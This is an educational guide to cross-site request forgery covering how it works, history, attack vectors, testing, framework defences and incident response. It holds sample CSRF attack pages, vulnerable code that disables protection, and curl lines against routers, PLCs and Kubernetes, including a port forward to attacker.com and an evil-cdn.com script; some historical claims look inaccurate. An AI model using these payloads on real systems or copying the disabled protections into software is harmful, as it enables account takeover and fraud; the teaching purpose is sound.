Skip to content

Introduction to Cross-Site Request Forgery (CSRF) Vulnerabilities

What is Cross-Site Request Forgery?

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

CSRF attacks are also known by several other names, including: - XSRF (Cross-Site Request Forgery) - "Sea Surf" (a play on CSRF) - Session Riding - Cross-Site Reference Forgery - Hostile Linking - One-Click Attack - Sidejacking (though this more commonly refers to session hijacking)

How CSRF Works

The Basic Mechanism

  1. User Authentication: A user logs into a legitimate website (e.g., their bank) and receives a session cookie.

  2. Attacker's Malicious Site: The user visits an attacker-controlled website while still logged into the legitimate site.

  3. Forged Request: The attacker's website contains code that makes a request to the legitimate site, using the user's existing session.

  4. Unauthorized Action: The legitimate site processes the request as if it came from the authenticated user, performing the unwanted action.

Visual Representation

User Browser                    Attacker's Site              Legitimate Site
     |                                |                           |
     | 1. Visit legitimate site       |                           |
     |    and authenticate           |                           |
     |------------------------------>|                           |
     |                                |                           |
     | 2. Receive session cookie      |                           |
     |<------------------------------|                           |
     |                                |                           |
     | 3. Visit attacker's site       |                           |
     |------------------------------>|                           |
     |                                |                           |
     | 4. Attacker's site makes       |                           |
     |    forged request              |                           |
     |------------------------------>|                           |
     |                                |                           |
     | 5. Request processed with      |                           |
     |    user's session              |                           |
     |---------------------------------------------------------->|

Why CSRF is Dangerous

Impact on Users

  • Financial Loss: Transferring money, changing account details, making purchases
  • Privacy Violation: Changing privacy settings, sharing personal information
  • Account Compromise: Changing passwords, email addresses, security settings
  • Data Manipulation: Deleting data, modifying content, sending messages
  • Service Disruption: Changing configurations, disabling services

Impact on Organizations

  • Reputational Damage: Users lose trust when their accounts are compromised
  • Legal Liability: Potential lawsuits from affected users
  • Regulatory Fines: Violations of data protection regulations (GDPR, CCPA)
  • Operational Disruption: Need to reset passwords, investigate incidents

Scale of the Problem

CSRF vulnerabilities are extremely common because: - They don't require stealing user credentials - They exploit the normal behavior of web browsers - Many developers don't understand or implement proper defenses - Legacy applications may not have CSRF protection

Historical Context

Early Recognition

CSRF was first described in 2001 by Peter Watkins, but the concept was known earlier. The vulnerability gained widespread attention when it was included in the OWASP Top 10 in 2003.

Notable Incidents

  • 2008: Gmail CSRF Vulnerability: Attackers could add filters to users' Gmail accounts
  • 2010: Apache OFBiz CSRF: Remote code execution via CSRF in e-commerce platform
  • 2013: Instagram CSRF: Users could be forced to follow accounts or change profile pictures
  • 2017: Ubiquiti Networks CSRF: Administrative actions could be performed without authentication
  • 2020: Multiple WordPress Plugin CSRF: Various plugins vulnerable to CSRF attacks

Evolution of CSRF

  • Basic CSRF (2000s): Simple GET/POST requests to perform actions
  • Advanced CSRF (2010s): JSON-based requests, SameSite cookie bypasses
  • Modern CSRF (2020s): Sophisticated attacks using service workers, CORS misconfigurations

Common Attack Vectors

GET-Based CSRF

The simplest form of CSRF uses GET requests. These can be triggered by: - Image tags: <img src="http://bank.com/transfer?amount=1000&to=attacker"> - Link clicks: <a href="http://bank.com/transfer?amount=1000&to=attacker">Click here</a> - Form submissions via JavaScript

POST-Based CSRF

More common with modern web applications that use POST for state-changing operations: - Hidden forms submitted automatically - AJAX requests with JSON payloads - Multipart form data for file uploads

Login CSRF

A variant where attackers can log users into accounts they control: - Forces users to authenticate to attacker-controlled accounts - Can be used for session fixation attacks - Particularly dangerous for password managers

Logout CSRF

Forces users to log out of legitimate sessions: - Disrupts user experience - Can be combined with other attacks - Often overlooked by developers

Technical Details

Same Origin Policy Limitations

CSRF exploits the fact that the Same Origin Policy (SOP) doesn't prevent: - Requests from one origin to another - Including cookies in cross-origin requests - Form submissions to different origins

CSRF relies on browsers automatically including cookies in requests: - Session cookies are sent with every request to the target domain - HttpOnly cookies don't prevent CSRF (they prevent JavaScript access) - Secure cookies only affect HTTPS vs HTTP

Request Types Affected

  • Simple Requests: GET, POST with simple content types
  • Preflighted Requests: CORS preflight prevents some CSRF
  • Credentialed Requests: Include cookies automatically

CSRF vs Other Attacks

CSRF vs XSS

Aspect CSRF XSS
Attack Vector Cross-site request Code injection
User Interaction Required Not always required
Authentication Uses victim's session Can steal session
Prevention Tokens, SameSite Input sanitization
Impact Unauthorized actions Full compromise

CSRF vs Clickjacking

Aspect CSRF Clickjacking
User Deception Hidden requests Invisible UI elements
Browser Behavior Automatic cookies User interaction
Prevention CSRF tokens X-Frame-Options
Scope State-changing actions Any user action

CSRF vs Session Fixation

Aspect CSRF Session Fixation
Session Control Uses existing session Forces known session
Authentication Already authenticated Pre-authentication
Prevention CSRF tokens Session regeneration
Complexity Simple More complex

Anatomy of a CSRF Attack

Step-by-Step Attack Flow

  1. Reconnaissance
  2. Identify state-changing endpoints
  3. Determine required parameters
  4. Check for CSRF protections

  5. Craft Malicious Request

  6. Create HTML/JavaScript to make the request
  7. Host on attacker-controlled domain
  8. Ensure request format matches legitimate requests

  9. Victim Interaction

  10. Trick user into visiting malicious site
  11. Request executes automatically or via user action
  12. Browser includes victim's cookies

  13. Action Execution

  14. Target site processes request as authenticated user
  15. Action completes successfully
  16. Attacker achieves goal

Attack Code Examples

Basic GET CSRF

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <h1>Welcome to Free Images!</h1>
    <img src="http://bank.com/transfer?amount=1000&to=attacker" style="display:none;">
    <p>Here are your free images:</p>
    <img src="free-image1.jpg">
    <img src="free-image2.jpg">
</body>
</html>

POST CSRF with Form

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <form action="http://bank.com/transfer" method="POST" id="csrf-form">
        <input type="hidden" name="amount" value="1000">
        <input type="hidden" name="to" value="attacker">
    </form>

    <script>
        document.getElementById('csrf-form').submit();
    </script>

    <h1>Loading...</h1>
</body>
</html>

AJAX CSRF

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <script>
        fetch('http://bank.com/api/transfer', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                amount: 1000,
                to: 'attacker'
            })
        });
    </script>

    <h1>Processing your request...</h1>
</body>
</html>

Detection and Testing

Manual Testing Techniques

  1. Identify State-Changing Endpoints
  2. Look for POST/PUT/DELETE requests
  3. Check for actions that modify data
  4. Review application functionality

  5. Remove CSRF Protections

  6. Temporarily disable tokens
  7. Test with plain HTML forms
  8. Verify if actions still work

  9. Create Proof-of-Concept

  10. Build simple HTML page
  11. Test in different browsers
  12. Confirm actions execute

Automated Testing Tools

  • OWASP ZAP: CSRF testing capabilities
  • Burp Suite: CSRF PoC generator
  • CSRF Tester: Specialized CSRF testing tool
  • Postman: Manual CSRF testing

Code Review Checklist

  • Check for CSRF token validation
  • Review SameSite cookie settings
  • Examine CORS configurations
  • Verify authentication checks

Real-World Prevalence

OWASP Top 10

CSRF has been in the OWASP Top 10 since 2003: - 2003-2007: Ranked #5 - 2010: Ranked #5 - 2013: Ranked #8 - 2017: Ranked #8 - 2021: Not in Top 10 (moved to #A01:2021 - Broken Access Control)

Industry Statistics

  • Common Vulnerability: Found in ~8% of web applications
  • Severity: Often rated as Medium to High
  • Discovery Rate: Frequently found in bug bounty programs
  • Legacy Systems: Many older applications still vulnerable

Prevention Overview

Primary Defenses

  1. CSRF Tokens: Cryptographically secure tokens
  2. SameSite Cookies: Browser-level protection
  3. Referer Validation: Check request origin
  4. Custom Headers: Require specific headers

Defense-in-Depth

  • Authentication Checks: Verify user intent
  • Rate Limiting: Prevent automated attacks
  • Logging: Monitor suspicious activity
  • User Education: Awareness of social engineering

Learning Objectives

By the end of this guide, you will understand:

  • How CSRF attacks work at a technical level
  • Common attack vectors and patterns
  • Effective prevention strategies
  • Testing methodologies for CSRF vulnerabilities
  • Real-world case studies and lessons learned
  • Integration with other security controls

Ethical Considerations

CSRF exploitation can cause significant harm: - Financial loss for victims - Privacy violations - Account compromise - Service disruption

Always: - Obtain explicit permission for testing - Use responsible disclosure - Consider the impact on users and systems - Follow applicable laws and regulations

Advanced Concepts

Login CSRF

Forces users to authenticate to attacker-controlled accounts:

<!-- Attacker's login form -->
<form action="http://legitimate-site.com/login" method="POST">
    <input name="username" value="attacker">
    <input name="password" value="attacker_password">
</form>
<script>document.forms[0].submit();</script>

Logout CSRF

Forces users to log out:

<img src="http://legitimate-site.com/logout">

JSON CSRF

Attacks against JSON-based APIs:

<script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://api.example.com/user/update");
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.send(JSON.stringify({name: "attacker"}));
</script>

CORS and CSRF

CORS can sometimes enable CSRF:

// If CORS allows credentials
fetch('http://api.example.com/data', {
    method: 'POST',
    credentials: 'include',
    body: JSON.stringify({action: 'malicious'})
});

Programming Language Specific Risks

PHP Applications

Common in legacy PHP apps:

// Vulnerable: No CSRF protection
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $amount = $_POST['amount'];
    $to = $_POST['to'];
    transfer_money($amount, $to);
}

Node.js/Express

Modern frameworks have built-in CSRF protection:

const csrf = require('csurf');

// Enable CSRF protection
app.use(csrf());

// In routes
app.post('/transfer', (req, res) => {
    // CSRF token automatically validated
    transferMoney(req.body.amount, req.body.to);
});

Python/Django

Django includes CSRF protection by default:

# settings.py
MIDDLEWARE = [
    'django.middleware.csrf.CsrfViewMiddleware',
    # ...
]

# In forms
<form method="post">
    {% csrf_token %}
    <!-- form fields -->
</form>

Ruby on Rails

Rails has built-in CSRF protection:

# ApplicationController
protect_from_forgery with: :exception

# In views
<%= form_for @transfer do |f| %>
  <%= f.hidden_field :authenticity_token %>
<% end %>

Web Framework Vulnerabilities

Express.js CSRF Issues

// Vulnerable: No CSRF middleware
app.post('/api/user/update', (req, res) => {
    User.update(req.user.id, req.body);
    res.json({success: true});
});

Flask CSRF Protection

from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect(app)

@app.route('/transfer', methods=['POST'])
@csrf.exempt  # Dangerous!
def transfer():
    # No CSRF protection
    pass

Spring Boot CSRF

@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.csrf().disable(); // Dangerous!
    }
}

API-Specific CSRF

REST API CSRF

REST APIs can be vulnerable if they rely on cookies:

// Vulnerable API call
fetch('/api/users/123', {
    method: 'PUT',
    headers: {'Content-Type': 'application/json'},
    credentials: 'include', // Sends cookies
    body: JSON.stringify({name: 'attacker'})
});

GraphQL CSRF

GraphQL mutations can be forged:

// Attacker's malicious query
const query = `
    mutation {
        updateUser(id: 123, input: {email: "attacker@example.com"}) {
            id
        }
    }
`;

fetch('/graphql', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    credentials: 'include',
    body: JSON.stringify({query})
});

Mobile Application CSRF

Android WebViews

// Vulnerable WebView
WebView webView = new WebView(this);
webView.loadUrl("http://vulnerable-app.com");

// Attacker can inject JavaScript to make CSRF requests

iOS UIWebView/WKWebView

// Vulnerable WKWebView
let webView = WKWebView(frame: .zero)
let request = URLRequest(url: URL(string: "http://vulnerable-app.com")!)
webView.load(request)

IoT and Embedded Systems

Smart Home Devices

Many IoT devices have web interfaces vulnerable to CSRF:

# Router admin interface
curl "http://router/admin?cmd=add_port_forward&port=4444&ip=attacker.com"

Industrial Control Systems

SCADA systems and industrial controllers:

# PLC configuration change
curl "http://plc/config?set_output=1&value=100"

Cloud and Container Risks

Serverless Functions

Lambda functions can be vulnerable if they process authenticated requests:

// Vulnerable Lambda
exports.handler = async (event) => {
    const { action, params } = event;
    // No CSRF check for API Gateway requests
    await performAction(action, params);
};

Docker Containers

Containerized apps may expose internal APIs:

# Access internal service
curl "http://localhost:8080/admin/shutdown"

Kubernetes API

Cluster management APIs can be attacked:

# Delete pod via CSRF
curl -X DELETE "http://k8s-api/api/v1/namespaces/default/pods/vulnerable-pod"

Supply Chain Attack Vectors

Third-Party Widgets

Embedded third-party content can perform CSRF:

<!-- Malicious widget -->
<script src="https://evil-cdn.com/widget.js"></script>

NPM Packages

Malicious packages can include CSRF payloads:

// Malicious package code
fetch('http://victim-api.com/transfer', {
    method: 'POST',
    credentials: 'include',
    body: JSON.stringify({to: 'attacker', amount: 1000})
});

Regulatory and Compliance Impact

GDPR Considerations

CSRF breaches can lead to: - Personal data unauthorized modification - Breach notification requirements (72 hours) - Fines up to 4% of global turnover - Data subject rights violations

HIPAA Compliance

In healthcare: - Protected Health Information (PHI) modification - Breach notification within 60 days - Potential criminal penalties - Loss of medical licenses

PCI DSS Requirements

For payment systems: - Cardholder data protection - Security testing requirements - Incident response planning - Access control measures

Incident Response for CSRF

Detection Phase

  1. Log Analysis: Look for unusual request patterns
  2. User Reports: Monitor for unauthorized actions
  3. Security Monitoring: Alert on suspicious activity
  4. Access Logs: Review authentication patterns

Containment Phase

  1. Session Invalidation: Force logout affected users
  2. Rate Limiting: Implement request throttling
  3. IP Blocking: Block suspicious source IPs
  4. Token Rotation: Regenerate CSRF tokens

Eradication Phase

  1. Code Fixes: Implement proper CSRF protection
  2. Security Updates: Patch vulnerable components
  3. Configuration Changes: Update security settings
  4. Dependency Updates: Update third-party libraries

Recovery Phase

  1. Password Resets: Require password changes
  2. Account Verification: Confirm account ownership
  3. Data Restoration: Recover modified data
  4. User Communication: Notify affected users

Advanced CSRF Techniques

  • Service Worker CSRF: Using service workers to persist attacks
  • WebSocket CSRF: Attacks via WebSocket connections
  • PostMessage CSRF: Exploiting message passing between frames
  • CORS Misconfiguration CSRF: Using permissive CORS policies

Browser Changes Impact

  • SameSite=Lax Default: Changes in cookie behavior
  • CORS Strictness: More restrictive cross-origin requests
  • Secure Context Requirements: HTTPS-only features

API Evolution

  • Bearer Token Usage: JWT and OAuth token handling
  • API-First Architecture: Increased API attack surface
  • Microservices: More inter-service communication

Mobile and IoT Expansion

  • Progressive Web Apps: New CSRF attack vectors
  • IoT Web Interfaces: Embedded device vulnerabilities
  • Mobile Hybrid Apps: WebView security issues

Conclusion

Cross-Site Request Forgery remains one of the most common and dangerous web vulnerabilities despite being well-understood. Its impact can range from minor account modifications to complete system compromise when combined with other vulnerabilities.

The key to prevention lies in implementing multiple layers of defense: CSRF tokens, SameSite cookies, proper CORS configuration, and user education. Modern web frameworks provide built-in protection, but custom implementations require careful attention to security best practices.

As web applications evolve with new APIs, microservices, and serverless architectures, CSRF protection must adapt to address emerging attack vectors while maintaining usability.

Additional Resources

Books

  • "The Web Application Hacker's Handbook" by Dafydd Stuttard and Marcus Pinto
  • "Hacking Exposed Web Applications" by Joel Scambray et al.
  • "Web Hacking: Attacks and Defense" by Stuart McClure

Online Communities

  • OWASP CSRF Prevention Cheat Sheet
  • Reddit r/netsec
  • Bugcrowd and HackerOne forums
  • DEF CON web security villages

Certifications

  • OWASP WebGoat
  • Certified Ethical Hacker (CEH)
  • Offensive Security Web Expert (OSWE)
  • CompTIA Security+

Tools and Frameworks

  • OWASP ZAP
  • Burp Suite
  • CSRF Tester
  • Custom CSRF exploitation frameworks

Stay vigilant, implement defense-in-depth, and regularly test your applications for CSRF vulnerabilities.